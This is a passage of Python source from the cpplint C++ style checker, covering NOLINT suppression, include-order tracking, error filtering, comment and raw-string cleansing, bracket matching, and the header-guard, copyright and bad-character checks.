category.endswith(')'): category = category[1:-1] if category in _ERROR_CATEGORIES: _error_suppressions.setdefault(category, set()).add(suppressed_line) elif category not in _LEGACY_ERROR_CATEGORIES: error(filename, linenum, 'readability/nolint', 5, 'Unknown NOLINT error category: %s' % category) def ResetNolintSuppressions(): """Resets the set of NOLINT suppressions to empty.""" _error_suppressions.clear() def IsErrorSuppressedByNolint(category, linenum): """Returns true if the specified error category is suppressed on this line. Consults the global error_suppressions map populated by ParseNolintSuppressions/ResetNolintSuppressions. Args: category: str, the category of the error. linenum: int, the current line number. Returns: bool, True iff the error should be suppressed due to a NOLINT comment. """ return (linenum in _error_suppressions.get(category, set()) or linenum in _error_suppressions.get(None, set())) def Match(pattern, s): """Matches the string with the pattern, caching the compiled regexp.""" # The regexp compilation caching is inlined in both Match and Search for # performance reasons; factoring it out into a separate function turns out # to be noticeably expensive. if pattern not in _regexp_compile_cache: _regexp_compile_cache[pattern] = sre_compile.compile(pattern) return _regexp_compile_cache[pattern].match(s) def ReplaceAll(pattern, rep, s): """Replaces instances of pattern in a string with a replacement. The compiled regex is kept in a cache shared by Match and Search. Args: pattern: regex pattern rep: replacement text s: search string Returns: string with replacements made (or original string if no replacements) """ if pattern not in _regexp_compile_cache: _regexp_compile_cache[pattern] = sre_compile.compile(pattern) return _regexp_compile_cache[pattern].sub(rep, s) def Search(pattern, s): """Searches the string for the pattern, caching the compiled regexp.""" if pattern not in _regexp_compile_cache: _regexp_compile_cache[pattern] = sre_compile.compile(pattern) return _regexp_compile_cache[pattern].search(s) class _IncludeState(object): """Tracks line numbers for includes, and the order in which includes appear. include_list contains list of lists of (header, line number) pairs. It's a lists of lists rather than just one flat list to make it easier to update across preprocessor boundaries. Call CheckNextIncludeOrder() once for each header in the file, passing in the type constants defined above. Calls in an illegal order will raise an _IncludeError with an appropriate error message. """ # self._section will move monotonically through this set. If it ever # needs to move backwards, CheckNextIncludeOrder will raise an error. _INITIAL_SECTION = 0 _MY_H_SECTION = 1 _C_SECTION = 2 _CPP_SECTION = 3 _OTHER_H_SECTION = 4 _TYPE_NAMES = { _C_SYS_HEADER: 'C system header', _CPP_SYS_HEADER: 'C++ system header', _LIKELY_MY_HEADER: 'header this file implements', _POSSIBLE_MY_HEADER: 'header this file may implement', _OTHER_HEADER: 'other header', } _SECTION_NAMES = { _INITIAL_SECTION: "... nothing. (This can't be an error.)", _MY_H_SECTION: 'a header this file implements', _C_SECTION: 'C system header', _CPP_SECTION: 'C++ system header', _OTHER_H_SECTION: 'other header', } def __init__(self): self.include_list = [[]] self.ResetSection('') def FindHeader(self, header): """Check if a header has already been included. Args: header: header to check. Returns: Line number of previous occurrence, or -1 if the header has not been seen before. """ for section_list in self.include_list: for f in section_list: if f[0] == header: return f[1] return -1 def ResetSection(self, directive): """Reset section checking for preprocessor directive. Args: directive: preprocessor directive (e.g. "if", "else"). """ # The name of the current section. self._section = self._INITIAL_SECTION # The path of last found header. self._last_header = '' # Update list of includes. Note that we never pop from the # include list. if directive in ('if', 'ifdef', 'ifndef'): self.include_list.append([]) elif directive in ('else', 'elif'): self.include_list[-1] = [] def SetLastHeader(self, header_path): self._last_header = header_path def CanonicalizeAlphabeticalOrder(self, header_path): """Returns a path canonicalized for alphabetical comparison. - replaces "-" with "_" so they both cmp the same. - removes '-inl' since we don't require them to be after the main header. - lowercase everything, just in case. Args: header_path: Path to be canonicalized. Returns: Canonicalized path. """ return header_path.replace('-inl.h', '.h').replace('-', '_').lower() def IsInAlphabeticalOrder(self, clean_lines, linenum, header_path): """Check if a header is in alphabetical order with the previous header. Args: clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. header_path: Canonicalized header to be checked. Returns: Returns true if the header is in alphabetical order. """ # If previous section is different from current section, _last_header will # be reset to empty string, so it's always less than current header. # # If previous line was a blank line, assume that the headers are # intentionally sorted the way they are. if (self._last_header > header_path and Match(r'^\s*#\s*include\b', clean_lines.elided[linenum - 1])): return False return True def CheckNextIncludeOrder(self, header_type): """Returns a non-empty error message if the next header is out of order. This function also updates the internal state to be ready to check the next include. Args: header_type: One of the _XXX_HEADER constants defined above. Returns: The empty string if the header is in the right order, or an error message describing what's wrong. """ error_message = ('Found %s after %s' % (self._TYPE_NAMES[header_type], self._SECTION_NAMES[self._section])) last_section = self._section if header_type == _C_SYS_HEADER: if self._section <= self._C_SECTION: self._section = self._C_SECTION else: self._last_header = '' return error_message elif header_type == _CPP_SYS_HEADER: if self._section <= self._CPP_SECTION: self._section = self._CPP_SECTION else: self._last_header = '' return error_message elif header_type == _LIKELY_MY_HEADER: if self._section <= self._MY_H_SECTION: self._section = self._MY_H_SECTION else: self._section = self._OTHER_H_SECTION elif header_type == _POSSIBLE_MY_HEADER: if self._section <= self._MY_H_SECTION: self._section = self._MY_H_SECTION else: # This will always be the fallback because we're not sure # enough that the header is associated with this file. self._section = self._OTHER_H_SECTION else: assert header_type == _OTHER_HEADER self._section = self._OTHER_H_SECTION if last_section != self._section: self._last_header = '' return '' class _CppLintState(object): """Maintains module-wide state..""" def __init__(self): self.verbose_level = 1 # global setting. self.error_count = 0 # global count of reported errors # filters to apply when emitting error messages self.filters = _DEFAULT_FILTERS[:] # backup of filter list. Used to restore the state after each file. self._filters_backup = self.filters[:] self.counting = 'total' # In what way are we counting errors? self.errors_by_category = {} # string to int dict storing error counts # output format: # "emacs" - format that emacs can parse (default) # "vs7" - format that Microsoft Visual Studio 7 can parse self.output_format = 'emacs' def SetOutputFormat(self, output_format): """Sets the output format for errors.""" self.output_format = output_format def SetVerboseLevel(self, level): """Sets the module's verbosity, and returns the previous setting.""" last_verbose_level = self.verbose_level self.verbose_level = level return last_verbose_level def SetCountingStyle(self, counting_style): """Sets the module's counting options.""" self.counting = counting_style def SetFilters(self, filters): """Sets the error-message filters. These filters are applied when deciding whether to emit a given error message. Args: filters: A string of comma-separated filters (eg "+whitespace/indent"). Each filter should start with + or -; else we die. Raises: ValueError: The comma-separated filters did not all start with '+' or '-'. E.g. "-,+whitespace,-whitespace/indent,whitespace/badfilter" """ # Default filters always have less priority than the flag ones. self.filters = _DEFAULT_FILTERS[:] self.AddFilters(filters) def AddFilters(self, filters): """ Adds more filters to the existing list of error-message filters. """ for filt in filters.split(','): clean_filt = filt.strip() if clean_filt: self.filters.append(clean_filt) for filt in self.filters: if not (filt.startswith('+') or filt.startswith('-')): raise ValueError('Every filter in --filters must start with + or -' ' (%s does not)' % filt) def BackupFilters(self): """ Saves the current filter list to backup storage.""" self._filters_backup = self.filters[:] def RestoreFilters(self): """ Restores filters previously backed up.""" self.filters = self._filters_backup[:] def ResetErrorCounts(self): """Sets the module's error statistic back to zero.""" self.error_count = 0 self.errors_by_category = {} def IncrementErrorCount(self, category): """Bumps the module's error statistic.""" self.error_count += 1 if self.counting in ('toplevel', 'detailed'): if self.counting != 'detailed': category = category.split('/')[0] if category not in self.errors_by_category: self.errors_by_category[category] = 0 self.errors_by_category[category] += 1 def PrintErrorCounts(self): """Print a summary of errors by category, and the total.""" for category, count in iteritems(self.errors_by_category): sys.stderr.write('Category \'%s\' errors found: %d\n' % (category, count)) sys.stderr.write('Total errors found: %d\n' % self.error_count) _cpplint_state = _CppLintState() def _OutputFormat(): """Gets the module's output format.""" return _cpplint_state.output_format def _SetOutputFormat(output_format): """Sets the module's output format.""" _cpplint_state.SetOutputFormat(output_format) def _VerboseLevel(): """Returns the module's verbosity setting.""" return _cpplint_state.verbose_level def _SetVerboseLevel(level): """Sets the module's verbosity, and returns the previous setting.""" return _cpplint_state.SetVerboseLevel(level) def _SetCountingStyle(level): """Sets the module's counting options.""" _cpplint_state.SetCountingStyle(level) def _Filters(): """Returns the module's list of output filters, as a list.""" return _cpplint_state.filters def _SetFilters(filters): """Sets the module's error-message filters. These filters are applied when deciding whether to emit a given error message. Args: filters: A string of comma-separated filters (eg "whitespace/indent"). Each filter should start with + or -; else we die. """ _cpplint_state.SetFilters(filters) def _AddFilters(filters): """Adds more filter overrides. Unlike _SetFilters, this function does not reset the current list of filters available. Args: filters: A string of comma-separated filters (eg "whitespace/indent"). Each filter should start with + or -; else we die. """ _cpplint_state.AddFilters(filters) def _BackupFilters(): """ Saves the current filter list to backup storage.""" _cpplint_state.BackupFilters() def _RestoreFilters(): """ Restores filters previously backed up.""" _cpplint_state.RestoreFilters() class _FunctionState(object): """Tracks current function name and the number of lines in its body.""" _NORMAL_TRIGGER = 250 # for --v=0, 500 for --v=1, etc. _TEST_TRIGGER = 400 # about 50% more than _NORMAL_TRIGGER. def __init__(self): self.in_a_function = False self.lines_in_function = 0 self.current_function = '' def Begin(self, function_name): """Start analyzing function body. Args: function_name: The name of the function being tracked. """ self.in_a_function = True self.lines_in_function = 0 self.current_function = function_name def Count(self): """Count line in current function body.""" if self.in_a_function: self.lines_in_function += 1 def Check(self, error, filename, linenum): """Report if too many lines in function body. Args: error: The function to call with any errors found. filename: The name of the current file. linenum: The number of the line to check. """ if Match(r'T(EST|est)', self.current_function): base_trigger = self._TEST_TRIGGER else: base_trigger = self._NORMAL_TRIGGER trigger = base_trigger * 2**_VerboseLevel() if self.lines_in_function > trigger: error_level = int(math.log(self.lines_in_function / base_trigger, 2)) # 50 => 0, 100 => 1, 200 => 2, 400 => 3, 800 => 4, 1600 => 5, ... if error_level > 5: error_level = 5 error(filename, linenum, 'readability/fn_size', error_level, 'Small and focused functions are preferred:' ' %s has %d non-comment lines' ' (error triggered by exceeding %d lines).' % ( self.current_function, self.lines_in_function, trigger)) def End(self): """Stop analyzing function body.""" self.in_a_function = False class _IncludeError(Exception): """Indicates a problem with the include order in a file.""" pass class FileInfo(object): """Provides utility functions for filenames. FileInfo provides easy access to the components of a file's path relative to the project root. """ def __init__(self, filename): self._filename = filename def FullName(self): """Make Windows paths like Unix.""" return os.path.abspath(self._filename).replace('\\', '/') def RepositoryName(self): """FullName after removing the local path to the repository. If we have a real absolute path name here we can try to do something smart: detecting the root of the checkout and truncating /path/to/checkout from the name so that we get header guards that don't include things like "C:\Documents and Settings\..." or "/home/username/..." in them and thus people on different computers who have checked the source out to different locations won't see bogus errors. """ fullname = self.FullName() if os.path.exists(fullname): project_dir = os.path.dirname(fullname) if os.path.exists(os.path.join(project_dir, ".svn")): # If there's a .svn file in the current directory, we recursively look # up the directory tree for the top of the SVN checkout root_dir = project_dir one_up_dir = os.path.dirname(root_dir) while os.path.exists(os.path.join(one_up_dir, ".svn")): root_dir = os.path.dirname(root_dir) one_up_dir = os.path.dirname(one_up_dir) prefix = os.path.commonprefix([root_dir, project_dir]) return fullname[len(prefix) + 1:] # Not SVN <= 1.6? Try to find a git, hg, or svn top level directory by # searching up from the current path. root_dir = os.path.dirname(fullname) while (root_dir != os.path.dirname(root_dir) and not os.path.exists(os.path.join(root_dir, ".git")) and not os.path.exists(os.path.join(root_dir, ".hg")) and not os.path.exists(os.path.join(root_dir, ".svn"))): root_dir = os.path.dirname(root_dir) if (os.path.exists(os.path.join(root_dir, ".git")) or os.path.exists(os.path.join(root_dir, ".hg")) or os.path.exists(os.path.join(root_dir, ".svn"))): prefix = os.path.commonprefix([root_dir, project_dir]) return fullname[len(prefix) + 1:] # Don't know what to do; header guard warnings may be wrong... return fullname def Split(self): """Splits the file into the directory, basename, and extension. For 'chrome/browser/browser.cc', Split() would return ('chrome/browser', 'browser', '.cc') Returns: A tuple of (directory, basename, extension). """ googlename = self.RepositoryName() project, rest = os.path.split(googlename) return (project,) + os.path.splitext(rest) def BaseName(self): """File base name - text after the final slash, before the final period.""" return self.Split()[1] def Extension(self): """File extension - text following the final period.""" return self.Split()[2] def NoExtension(self): """File has no source file extension.""" return '/'.join(self.Split()[0:2]) def IsSource(self): """File has a source file extension.""" return self.Extension()[1:] in _valid_extensions def _ShouldPrintError(category, confidence, linenum): """If confidence >= verbose, category passes filter and is not suppressed.""" # There are three ways we might decide not to print an error message: # a "NOLINT(category)" comment appears in the source, # the verbosity level isn't high enough, or the filters filter it out. if IsErrorSuppressedByNolint(category, linenum): return False if confidence < _cpplint_state.verbose_level: return False is_filtered = False for one_filter in _Filters(): if one_filter.startswith('-'): if category.startswith(one_filter[1:]): is_filtered = True elif one_filter.startswith('+'): if category.startswith(one_filter[1:]): is_filtered = False else: assert False # should have been checked for in SetFilter. if is_filtered: return False return True def Error(filename, linenum, category, confidence, message): """Logs the fact we've found a lint error. We log where the error was found, and also our confidence in the error, that is, how certain we are this is a legitimate style regression, and not a misidentification or a use that's sometimes justified. False positives can be suppressed by the use of "cpplint(category)" comments on the offending line. These are parsed into _error_suppressions. Args: filename: The name of the file containing the error. linenum: The number of the line containing the error. category: A string used to describe the "category" this bug falls under: "whitespace", say, or "runtime". Categories may have a hierarchy separated by slashes: "whitespace/indent". confidence: A number from 1-5 representing a confidence score for the error, with 5 meaning that we are certain of the problem, and 1 meaning that it could be a legitimate construct. message: The error message. """ if _ShouldPrintError(category, confidence, linenum): _cpplint_state.IncrementErrorCount(category) if _cpplint_state.output_format == 'vs7': sys.stderr.write('%s(%s): %s [%s] [%d]\n' % ( filename, linenum, message, category, confidence)) elif _cpplint_state.output_format == 'eclipse': sys.stderr.write('%s:%s: warning: %s [%s] [%d]\n' % ( filename, linenum, message, category, confidence)) else: m = '%s:%s: %s [%s] [%d]\n' % ( filename, linenum, message, category, confidence) sys.stderr.write(m) # Matches standard C++ escape sequences per 2.13.2.3 of the C++ standard. _RE_PATTERN_CLEANSE_LINE_ESCAPES = re.compile( r'\\([abfnrtv?"\\\']|\d+|x[0-9a-fA-F]+)') # Match a single C style comment on the same line. _RE_PATTERN_C_COMMENTS = r'/\*(?:[^*]|\*(?!/))*\*/' # Matches multi-line C style comments. # This RE is a little bit more complicated than one might expect, because we # have to take care of space removals tools so we can handle comments inside # statements better. # The current rule is: We only clear spaces from both sides when we're at the # end of the line. Otherwise, we try to remove spaces from the right side, # if this doesn't work we try on left side but only if there's a non-character # on the right. _RE_PATTERN_CLEANSE_LINE_C_COMMENTS = re.compile( r'(\s*' + _RE_PATTERN_C_COMMENTS + r'\s*$|' + _RE_PATTERN_C_COMMENTS + r'\s+|' + r'\s+' + _RE_PATTERN_C_COMMENTS + r'(?=\W)|' + _RE_PATTERN_C_COMMENTS + r')') def IsCppString(line): """Does line terminate so, that the next symbol is in string constant. This function does not consider single-line nor multi-line comments. Args: line: is a partial line of code starting from the 0..n. Returns: True, if next character appended to 'line' is inside a string constant. """ line = line.replace(r'\\', 'XX') # after this, \\" does not match to \" return ((line.count('"') - line.count(r'\"') - line.count("'\"'")) & 1) == 1 def CleanseRawStrings(raw_lines): """Removes C++11 raw strings from lines. Before: static const char kData[] = R"( multi-line string )"; After: static const char kData[] = "" (replaced by blank line) ""; Args: raw_lines: list of raw lines. Returns: list of lines with C++11 raw strings replaced by empty strings. """ delimiter = None lines_without_raw_strings = [] for line in raw_lines: if delimiter: # Inside a raw string, look for the end end = line.find(delimiter) if end >= 0: # Found the end of the string, match leading space for this # line and resume copying the original lines, and also insert # a "" on the last line. leading_space = Match(r'^(\s*)\S', line) line = leading_space.group(1) + '""' + line[end + len(delimiter):] delimiter = None else: # Haven't found the end yet, append a blank line. line = '""' # Look for beginning of a raw string, and replace them with # empty strings. This is done in a loop to handle multiple raw # strings on the same line. while delimiter is None: # Look for beginning of a raw string. # See 2.14.15 [lex.string] for syntax. matched = Match(r'^(.*)\b(?:R|u8R|uR|UR|LR)"([^\s\\()]*)\((.*)$', line) if matched: delimiter = ')' + matched.group(2) + '"' end = matched.group(3).find(delimiter) if end >= 0: # Raw string ended on same line line = (matched.group(1) + '""' + matched.group(3)[end + len(delimiter):]) delimiter = None else: # Start of a multi-line raw string line = matched.group(1) + '""' else: break lines_without_raw_strings.append(line) # TODO(unknown): if delimiter is not None here, we might want to # emit a warning for unterminated string. return lines_without_raw_strings def FindNextMultiLineCommentStart(lines, lineix): """Find the beginning marker for a multiline comment.""" while lineix < len(lines): if lines[lineix].strip().startswith('/*'): # Only return this marker if the comment goes beyond this line if lines[lineix].strip().find('*/', 2) < 0: return lineix lineix += 1 return len(lines) def FindNextMultiLineCommentEnd(lines, lineix): """We are inside a comment, find the end marker.""" while lineix < len(lines): if lines[lineix].strip().endswith('*/'): return lineix lineix += 1 return len(lines) def RemoveMultiLineCommentsFromRange(lines, begin, end): """Clears a range of lines for multi-line comments.""" # Having // dummy comments makes the lines non-empty, so we will not get # unnecessary blank line warnings later in the code. for i in range(begin, end): lines[i] = '/**/' def RemoveMultiLineComments(filename, lines, error): """Removes multiline (c-style) comments from lines.""" lineix = 0 while lineix < len(lines): lineix_begin = FindNextMultiLineCommentStart(lines, lineix) if lineix_begin >= len(lines): return lineix_end = FindNextMultiLineCommentEnd(lines, lineix_begin) if lineix_end >= len(lines): error(filename, lineix_begin + 1, 'readability/multiline_comment', 5, 'Could not find end of multi-line comment') return RemoveMultiLineCommentsFromRange(lines, lineix_begin, lineix_end + 1) lineix = lineix_end + 1 def CleanseComments(line): """Removes //-comments and single-line C-style /* */ comments. Args: line: A line of C++ source. Returns: The line with single-line comments removed. """ commentpos = line.find('//') if commentpos != -1 and not IsCppString(line[:commentpos]): line = line[:commentpos].rstrip() # get rid of /* ... */ return _RE_PATTERN_CLEANSE_LINE_C_COMMENTS.sub('', line) class CleansedLines(object): """Holds 4 copies of all lines with different preprocessing applied to them. 1) elided member contains lines without strings and comments. 2) lines member contains lines without comments. 3) raw_lines member contains all the lines without processing. 4) lines_without_raw_strings member is same as raw_lines, but with C++11 raw strings removed. All these members are of <type 'list'>, and of the same length. """ def __init__(self, lines): self.elided = [] self.lines = [] self.raw_lines = lines self.num_lines = len(lines) self.lines_without_raw_strings = CleanseRawStrings(lines) for linenum in range(len(self.lines_without_raw_strings)): self.lines.append(CleanseComments( self.lines_without_raw_strings[linenum])) elided = self._CollapseStrings(self.lines_without_raw_strings[linenum]) self.elided.append(CleanseComments(elided)) def NumLines(self): """Returns the number of lines represented.""" return self.num_lines @staticmethod def _CollapseStrings(elided): """Collapses strings and chars on a line to simple "" or '' blocks. We nix strings first so we're not fooled by text like '"http://"' Args: elided: The line being processed. Returns: The line with collapsed strings. """ if _RE_PATTERN_INCLUDE.match(elided): return elided # Remove escaped characters first to make quote/single quote collapsing # basic. Things that look like escaped characters shouldn't occur # outside of strings and chars. elided = _RE_PATTERN_CLEANSE_LINE_ESCAPES.sub('', elided) # Replace quoted strings and digit separators. Both single quotes # and double quotes are processed in the same loop, otherwise # nested quotes wouldn't work. collapsed = '' while True: # Find the first quote character match = Match(r'^([^\'"]*)([\'"])(.*)$', elided) if not match: collapsed += elided break head, quote, tail = match.groups() if quote == '"': # Collapse double quoted strings second_quote = tail.find('"') if second_quote >= 0: collapsed += head + '""' elided = tail[second_quote + 1:] else: # Unmatched double quote, don't bother processing the rest # of the line since this is probably a multiline string. collapsed += elided break else: # Found single quote, check nearby text to eliminate digit separators. # # There is no special handling for floating point here, because # the integer/fractional/exponent parts would all be parsed # correctly as long as there are digits on both sides of the # separator. So we are fine as long as we don't see something # like "0.'3" (gcc 4.9.0 will not allow this literal). if Search(r'\b(?:0[bBxX]?|[1-9])[0-9a-fA-F]*$', head): match_literal = Match(r'^((?:\'?[0-9a-zA-Z_])*)(.*)$', "'" + tail) collapsed += head + match_literal.group(1).replace("'", '') elided = match_literal.group(2) else: second_quote = tail.find('\'') if second_quote >= 0: collapsed += head + "''" elided = tail[second_quote + 1:] else: # Unmatched single quote collapsed += elided break return collapsed def FindEndOfExpressionInLine(line, startpos, stack): """Find the position just after the end of current parenthesized expression. Args: line: a CleansedLines line. startpos: start searching at this position. stack: nesting stack at startpos. Returns: On finding matching end: (index just after matching end, None) On finding an unclosed expression: (-1, None) Otherwise: (-1, new stack at end of this line) """ for i in xrange(startpos, len(line)): char = line[i] if char in '([{': # Found start of parenthesized expression, push to expression stack stack.append(char) elif char == '<': # Found potential start of template argument list if i > 0 and line[i - 1] == '<': # Left shift operator if stack and stack[-1] == '<': stack.pop() if not stack: return (-1, None) elif i > 0 and Search(r'\boperator\s*$', line[0:i]): # operator<, don't add to stack continue else: # Tentative start of template argument list stack.append('<') elif char in ')]}': # Found end of parenthesized expression. # # If we are currently expecting a matching '>', the pending '<' # must have been an operator. Remove them from expression stack. while stack and stack[-1] == '<': stack.pop() if not stack: return (-1, None) if ((stack[-1] == '(' and char == ')') or (stack[-1] == '[' and char == ']') or (stack[-1] == '{' and char == '}')): stack.pop() if not stack: return (i + 1, None) else: # Mismatched parentheses return (-1, None) elif char == '>': # Found potential end of template argument list. # Ignore "->" and operator functions if (i > 0 and (line[i - 1] == '-' or Search(r'\boperator\s*$', line[0:i - 1]))): continue # Pop the stack if there is a matching '<'. Otherwise, ignore # this '>' since it must be an operator. if stack: if stack[-1] == '<': stack.pop() if not stack: return (i + 1, None) elif char == ';': # Found something that look like end of statements. If we are currently # expecting a '>', the matching '<' must have been an operator, since # template argument list should not contain statements. while stack and stack[-1] == '<': stack.pop() if not stack: return (-1, None) # Did not find end of expression or unbalanced parentheses on this line return (-1, stack) def CloseExpression(clean_lines, linenum, pos): """If input points to ( or { or [ or <, finds the position that closes it. If lines[linenum][pos] points to a '(' or '{' or '[' or '<', finds the linenum/pos that correspond to the closing of the expression. TODO(unknown): cpplint spends a fair bit of time matching parentheses. Ideally we would want to index all opening and closing parentheses once and have CloseExpression be just a simple lookup, but due to preprocessor tricks, this is not so easy. Args: clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. pos: A position on the line. Returns: A tuple (line, linenum, pos) pointer *past* the closing brace, or (line, len(lines), -1) if we never find a close. Note we ignore strings and comments when matching; and the line we return is the 'cleansed' line at linenum. """ line = clean_lines.elided[linenum] if (line[pos] not in '({[<') or Match(r'<[<=]', line[pos:]): return (line, clean_lines.NumLines(), -1) # Check first line (end_pos, stack) = FindEndOfExpressionInLine(line, pos, []) if end_pos > -1: return (line, linenum, end_pos) # Continue scanning forward while stack and linenum < clean_lines.NumLines() - 1: linenum += 1 line = clean_lines.elided[linenum] (end_pos, stack) = FindEndOfExpressionInLine(line, 0, stack) if end_pos > -1: return (line, linenum, end_pos) # Did not find end of expression before end of file, give up return (line, clean_lines.NumLines(), -1) def FindStartOfExpressionInLine(line, endpos, stack): """Find position at the matching start of current expression. This is almost the reverse of FindEndOfExpressionInLine, but note that the input position and returned position differs by 1. Args: line: a CleansedLines line. endpos: start searching at this position. stack: nesting stack at endpos. Returns: On finding matching start: (index at matching start, None) On finding an unclosed expression: (-1, None) Otherwise: (-1, new stack at beginning of this line) """ i = endpos while i >= 0: char = line[i] if char in ')]}': # Found end of expression, push to expression stack stack.append(char) elif char == '>': # Found potential end of template argument list. # # Ignore it if it's a "->" or ">=" or "operator>" if (i > 0 and (line[i - 1] == '-' or Match(r'\s>=\s', line[i - 1:]) or Search(r'\boperator\s*$', line[0:i]))): i -= 1 else: stack.append('>') elif char == '<': # Found potential start of template argument list if i > 0 and line[i - 1] == '<': # Left shift operator i -= 1 else: # If there is a matching '>', we can pop the expression stack. # Otherwise, ignore this '<' since it must be an operator. if stack and stack[-1] == '>': stack.pop() if not stack: return (i, None) elif char in '([{': # Found start of expression. # # If there are any unmatched '>' on the stack, they must be # operators. Remove those. while stack and stack[-1] == '>': stack.pop() if not stack: return (-1, None) if ((char == '(' and stack[-1] == ')') or (char == '[' and stack[-1] == ']') or (char == '{' and stack[-1] == '}')): stack.pop() if not stack: return (i, None) else: # Mismatched parentheses return (-1, None) elif char == ';': # Found something that look like end of statements. If we are currently # expecting a '<', the matching '>' must have been an operator, since # template argument list should not contain statements. while stack and stack[-1] == '>': stack.pop() if not stack: return (-1, None) i -= 1 return (-1, stack) def ReverseCloseExpression(clean_lines, linenum, pos): """If input points to ) or } or ] or >, finds the position that opens it. If lines[linenum][pos] points to a ')' or '}' or ']' or '>', finds the linenum/pos that correspond to the opening of the expression. Args: clean_lines: A CleansedLines instance containing the file. linenum: The number of the line to check. pos: A position on the line. Returns: A tuple (line, linenum, pos) pointer *at* the opening brace, or (line, 0, -1) if we never find the matching opening brace. Note we ignore strings and comments when matching; and the line we return is the 'cleansed' line at linenum. """ line = clean_lines.elided[linenum] if line[pos] not in ')}]>': return (line, 0, -1) # Check last line (start_pos, stack) = FindStartOfExpressionInLine(line, pos, []) if start_pos > -1: return (line, linenum, start_pos) # Continue scanning backward while stack and linenum > 0: linenum -= 1 line = clean_lines.elided[linenum] (start_pos, stack) = FindStartOfExpressionInLine(line, len(line) - 1, stack) if start_pos > -1: return (line, linenum, start_pos) # Did not find start of expression before beginning of file, give up return (line, 0, -1) def CheckForCopyright(filename, lines, error): """Logs an error if no Copyright message appears at the top of the file.""" # We'll say it should occur by line 10. Don't forget there's a # dummy line at the front. for line in range(1, min(len(lines), 11)): if re.search(r'Copyright', lines[line], re.I): break else: # means no copyright line was found error(filename, 0, 'legal/copyright', 5, 'No copyright message found. ' 'You should have a line: "Copyright [year] <Copyright Owner>"') def GetIndentLevel(line): """Return the number of leading spaces in line. Args: line: A string to check. Returns: An integer count of leading spaces, possibly zero. """ indent = Match(r'^( *)\S', line) if indent: return len(indent.group(1)) else: return 0 def GetHeaderGuardCPPVariable(filename): """Returns the CPP variable that should be used as a header guard. Args: filename: The name of a C++ header file. Returns: The CPP variable that should be used as a header guard in the named file. """ # Restores original filename in case that cpplint is invoked from Emacs's # flymake. filename = re.sub(r'_flymake\.h$', '.h', filename) filename = re.sub(r'/\.flymake/([^/]*)$', r'/\1', filename) # Replace 'c++' with 'cpp'. filename = filename.replace('C++', 'cpp').replace('c++', 'cpp') fileinfo = FileInfo(filename) file_path_from_root = fileinfo.RepositoryName() if _root: file_path_from_root = re.sub('^' + _root + os.sep, '', file_path_from_root) return re.sub(r'[^a-zA-Z0-9]', '_', file_path_from_root).upper() + '_' def CheckForHeaderGuard(filename, clean_lines, error): """Checks that the file contains a header guard. Logs an error if no #ifndef header guard is present. For other headers, checks that the full pathname is used. Args: filename: The name of the C++ header file. clean_lines: A CleansedLines instance containing the file. error: The function to call with any errors found. """ # Don't check for header guards if there are error suppression # comments somewhere in this file. # # Because this is silencing a warning for a nonexistent line, we # only support the very specific NOLINT(build/header_guard) syntax, # and not the general NOLINT or NOLINT(*) syntax. raw_lines = clean_lines.lines_without_raw_strings for i in raw_lines: if Search(r'//\s*NOLINT\(build/header_guard\)', i): return cppvar = GetHeaderGuardCPPVariable(filename) ifndef = '' ifndef_linenum = 0 define = '' endif = '' endif_linenum = 0 for linenum, line in enumerate(raw_lines): linesplit = line.split() if len(linesplit) >= 2: # find the first occurrence of #ifndef and #define, save arg if not ifndef and linesplit[0] == '#ifndef': # set ifndef to the header guard presented on the #ifndef line. ifndef = linesplit[1] ifndef_linenum = linenum if not define and linesplit[0] == '#define': define = linesplit[1] # find the last occurrence of #endif, save entire line if line.startswith('#endif'): endif = line endif_linenum = linenum if not ifndef or not define or ifndef != define: error(filename, 0, 'build/header_guard', 5, 'No #ifndef header guard found, suggested CPP variable is: %s' % cppvar) return # The guard should be PATH_FILE_H_, but we also allow PATH_FILE_H__ # for backward compatibility. if ifndef != cppvar: error_level = 0 if ifndef != cppvar + '_': error_level = 5 ParseNolintSuppressions(filename, raw_lines[ifndef_linenum], ifndef_linenum, error) error(filename, ifndef_linenum, 'build/header_guard', error_level, '#ifndef header guard has wrong style, please use: %s' % cppvar) # Check for "//" comments on endif line. ParseNolintSuppressions(filename, raw_lines[endif_linenum], endif_linenum, error) match = Match(r'#endif\s*//\s*' + cppvar + r'(_)?\b', endif) if match: if match.group(1) == '_': # Issue low severity warning for deprecated double trailing underscore error(filename, endif_linenum, 'build/header_guard', 0, '#endif line should be "#endif // %s"' % cppvar) return # Didn't find the corresponding "//" comment. If this file does not # contain any "//" comments at all, it could be that the compiler # only wants "/**/" comments, look for those instead. no_single_line_comments = True for i in xrange(1, len(raw_lines) - 1): line = raw_lines[i] if Match(r'^(?:(?:\'(?:\.|[^\'])*\')|(?:"(?:\.|[^"])*")|[^\'"])*//', line): no_single_line_comments = False break if no_single_line_comments: match = Match(r'#endif\s*/\*\s*' + cppvar + r'(_)?\s*\*/', endif) if match: if match.group(1) == '_': # Low severity warning for double trailing underscore error(filename, endif_linenum, 'build/header_guard', 0, '#endif line should be "#endif /* %s */"' % cppvar) return # Didn't find anything error(filename, endif_linenum, 'build/header_guard', 5, '#endif line should be "#endif // %s"' % cppvar) def CheckHeaderFileIncluded(filename, include_state, error): """Logs an error if a .cc file does not include its header.""" # Do not check test files if filename.endswith('_test.cc') or filename.endswith('_unittest.cc'): return fileinfo = FileInfo(filename) headerfile = filename[0:len(filename) - 2] + 'h' if not os.path.exists(headerfile): return headername = FileInfo(headerfile).RepositoryName() first_include = 0 for section_list in include_state.include_list: for f in section_list: if headername in f[0] or f[0] in headername: return if not first_include: first_include = f[1] error(filename, first_include, 'build/include', 5, '%s should include its header file %s' % (fileinfo.RepositoryName(), headername)) def CheckForBadCharacters(filename, lines, error): """Logs an error for each line containing bad characters. Two kinds of bad characters: 1. Unicode replacement characters: These indicate that either the file contained invalid UTF-8 (likely) or Unicode replacement characters (which it shouldn't). Note that it's possible for this to throw off line numbering if the invalid UTF-8 occurred adjacent to a newline. 2. NUL bytes. These are problematic for some tools. Args: filename: The name of the current file. lines: An array of strings, each representing a line of the file. error: The function to call with any errors found. """ for linenum, line in enumerate(lines): if u('\ufffd') in line: error(filename, linenum, 'readability/utf8', 5, 'Line contains invalid UTF-8 (or Unicode replacement character).') if '\0' in line: error(filename, linenum, 'readability/nul', 5, 'Line contains NUL byte.') def CheckForNewlineAtEOF(filename, lines, error): """Logs an error if there is no newline char at the end of the file. Args: filename: The name of the current file. lines: An array of strings, each representing a line of the file. error: The function to call with any errors found. """ # The array lines() was created by adding two newlines to the # original file (go 